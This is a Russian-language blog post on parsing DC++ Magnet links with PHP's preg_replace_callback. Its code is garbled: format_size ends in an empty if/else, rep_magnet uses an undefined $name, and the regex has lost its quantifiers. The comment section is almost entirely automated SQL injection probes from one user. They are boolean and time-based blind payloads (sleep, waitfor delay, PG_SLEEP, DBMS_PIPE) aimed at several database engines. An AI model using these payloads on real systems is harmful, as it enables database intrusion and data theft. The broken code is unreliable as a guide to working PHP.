Парсинг Magnet ссылок
Недавно обкатал новую интересную функцию на DC портале. Для неё использовал в классе парсера функцию PHP «preg_replace_callback«. Суть функции заключается в том что она берёт параметром функцию обратного вызова ко всем найденным выражениям и найденное заменяет тем что функция вернула.
Внутри функции заключил 2 функции: первая, format_size, формирует размер, кстати вот она:
- function format_size ($size, $arr=false)
- {
- $units = '';
- if ($size <= 1024)
- {
- $units = "b";
- } else {
- if ($size < 1048576) # 1024^2
- {
- $units = "Kb";
- $size = $size/1024;
- } else {
- if ($size < 1073741824) # 1024^3
- {
- $units = "Mb";
- $size = $size/(1048576);
- } else {
- if ($size < 1099511627776) # 1024^4
- {
- $units = "GB";
- $size = $size/(1073741824);
- } else {
- if ($size < 1125899906842624) # 1024^5
- {
- $units = "Tb";
- $size = $size/(1099511627776);
- } else {
- $units = "Eb";
- $size = $size/(1125899906842624); # 1024^5
- }
- }
- }
- }
- }
- if ($arr)
- else
- }
Вторая, rep_magnet, берёт этот размер и формирует, собственно Magnet-ссылку.
- function rep_magnet ($s)
- {
- if (@$s[1]) return $s[0]; // If have '[url=' at the start - return not modiffed string
- $link = $s[0];
- $size = format_size($s[3]);
- return '<img src="/favicon.png/" alt="" /><a href="'.$link.'">Скачать файл из DC : <strong>'.$name.'</strong></a> ('.$size.')';
- }
Если функция находит символ равно, в регулярном выражении, обработки не происходит, сделано, для экранирования ссылок заключённых в тег [url и во избежании повторного парсинга.
В итоге получается такая регулярка:
$source = preg_replace_callback ('/([=\'"`])%3Fmagnet:\%3Fxt=urn:tree:tiger:([a-z0-9] )&xl=([0-9] )&dn=([^<\s\[\]] )/uims', 'rep_magnet', $source );
Вот так это выглядит в работе:

nEcdyGgx 13 Augustа в 18:33 #
555
nEcdyGgx 13 Augustа в 18:34 #
555
nEcdyGgx 13 Augustа в 18:34 #
555
nEcdyGgx 13 Augustа в 18:34 #
555
nEcdyGgx 13 Augustа в 18:34 #
555
nEcdyGgx 13 Augustа в 18:34 #
-1 OR 2+845-845-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:34 #
-1 OR 3+845-845-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:34 #
-1 OR 3*2
nEcdyGgx 13 Augustа в 18:34 #
-1 OR 3*2>(0+5+845-845) --
nEcdyGgx 13 Augustа в 18:34 #
-1 OR 2+595-595-1=0+0+0+1
nEcdyGgx 13 Augustа в 18:34 #
-1 OR 3+595-595-1=0+0+0+1
nEcdyGgx 13 Augustа в 18:34 #
-1 OR 3*2
nEcdyGgx 13 Augustа в 18:34 #
-1 OR 3*2>(0+5+595-595)
nEcdyGgx 13 Augustа в 18:34 #
-1' OR 2+673-673-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:34 #
-1' OR 3+673-673-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:34 #
-1' OR 3*2
nEcdyGgx 13 Augustа в 18:34 #
-1' OR 3*2>(0+5+673-673) --
nEcdyGgx 13 Augustа в 18:34 #
-1' OR 2+440-440-1=0+0+0+1 or 'nrlLEUup'='
nEcdyGgx 13 Augustа в 18:34 #
-1' OR 3+440-440-1=0+0+0+1 or 'nrlLEUup'='
nEcdyGgx 13 Augustа в 18:34 #
-1' OR 3*2
nEcdyGgx 13 Augustа в 18:34 #
-1' OR 3*2>(0+5+440-440) or 'nrlLEUup'='
nEcdyGgx 13 Augustа в 18:34 #
-1" OR 2+604-604-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:34 #
-1" OR 3+604-604-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:34 #
-1" OR 3*2
nEcdyGgx 13 Augustа в 18:34 #
-1" OR 3*2>(0+5+604-604) --
nEcdyGgx 13 Augustа в 18:34 #
if(now()=sysdate(),sleep(15),0)
nEcdyGgx 13 Augustа в 18:34 #
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
nEcdyGgx 13 Augustа в 18:34 #
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
nEcdyGgx 13 Augustа в 18:34 #
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
nEcdyGgx 13 Augustа в 18:34 #
-1; waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:34 #
-1); waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:34 #
1 waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:34 #
IqzC5VgJ'; waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:34 #
-5 OR 957=(SELECT 957 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:34 #
-5) OR 935=(SELECT 935 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:34 #
-1)) OR 610=(SELECT 610 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:34 #
hgVKjWDQ' OR 301=(SELECT 301 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:34 #
ZbN6IviI') OR 18=(SELECT 18 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:34 #
UKRs9o61')) OR 858=(SELECT 858 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:34 #
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
nEcdyGgx 13 Augustа в 18:34 #
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
nEcdyGgx 13 Augustа в 18:34 #
1'"
nEcdyGgx 13 Augustа в 18:34 #
@@vceah
nEcdyGgx 13 Augustа в 18:47 #
555
nEcdyGgx 13 Augustа в 18:50 #
555
nEcdyGgx 13 Augustа в 18:50 #
555
nEcdyGgx 13 Augustа в 18:50 #
555
nEcdyGgx 13 Augustа в 18:50 #
555
nEcdyGgx 13 Augustа в 18:50 #
-1 OR 2+558-558-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:50 #
-1 OR 3+558-558-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:50 #
-1 OR 3*2
nEcdyGgx 13 Augustа в 18:50 #
-1 OR 3*2>(0+5+558-558) --
nEcdyGgx 13 Augustа в 18:50 #
-1 OR 2+688-688-1=0+0+0+1
nEcdyGgx 13 Augustа в 18:50 #
-1 OR 3+688-688-1=0+0+0+1
nEcdyGgx 13 Augustа в 18:50 #
-1 OR 3*2
nEcdyGgx 13 Augustа в 18:50 #
-1 OR 3*2>(0+5+688-688)
nEcdyGgx 13 Augustа в 18:50 #
-1' OR 2+915-915-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:50 #
-1' OR 3+915-915-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:50 #
-1' OR 3*2
nEcdyGgx 13 Augustа в 18:50 #
-1' OR 3*2>(0+5+915-915) --
nEcdyGgx 13 Augustа в 18:50 #
-1' OR 2+512-512-1=0+0+0+1 or 'mP2En4YQ'='
nEcdyGgx 13 Augustа в 18:50 #
-1' OR 3+512-512-1=0+0+0+1 or 'mP2En4YQ'='
nEcdyGgx 13 Augustа в 18:50 #
-1' OR 3*2
nEcdyGgx 13 Augustа в 18:50 #
-1' OR 3*2>(0+5+512-512) or 'mP2En4YQ'='
nEcdyGgx 13 Augustа в 18:50 #
-1" OR 2+849-849-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:50 #
-1" OR 3+849-849-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:50 #
-1" OR 3*2
nEcdyGgx 13 Augustа в 18:50 #
-1" OR 3*2>(0+5+849-849) --
nEcdyGgx 13 Augustа в 18:50 #
if(now()=sysdate(),sleep(15),0)
nEcdyGgx 13 Augustа в 18:50 #
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
nEcdyGgx 13 Augustа в 18:50 #
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
nEcdyGgx 13 Augustа в 18:50 #
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
nEcdyGgx 13 Augustа в 18:50 #
-1; waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:50 #
-1); waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:50 #
1 waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:50 #
Zzs6T56X'; waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:50 #
-5 OR 442=(SELECT 442 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:50 #
-5) OR 388=(SELECT 388 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:50 #
-1)) OR 448=(SELECT 448 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:50 #
SbZY80K6' OR 871=(SELECT 871 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:50 #
NtsrZUCs') OR 659=(SELECT 659 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:50 #
CScphlC0')) OR 967=(SELECT 967 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:50 #
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
nEcdyGgx 13 Augustа в 18:50 #
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
nEcdyGgx 13 Augustа в 18:50 #
1'"
nEcdyGgx 13 Augustа в 18:51 #
@@u6Pkb
nEcdyGgx 13 Augustа в 18:54 #
555
nEcdyGgx 13 Augustа в 18:54 #
555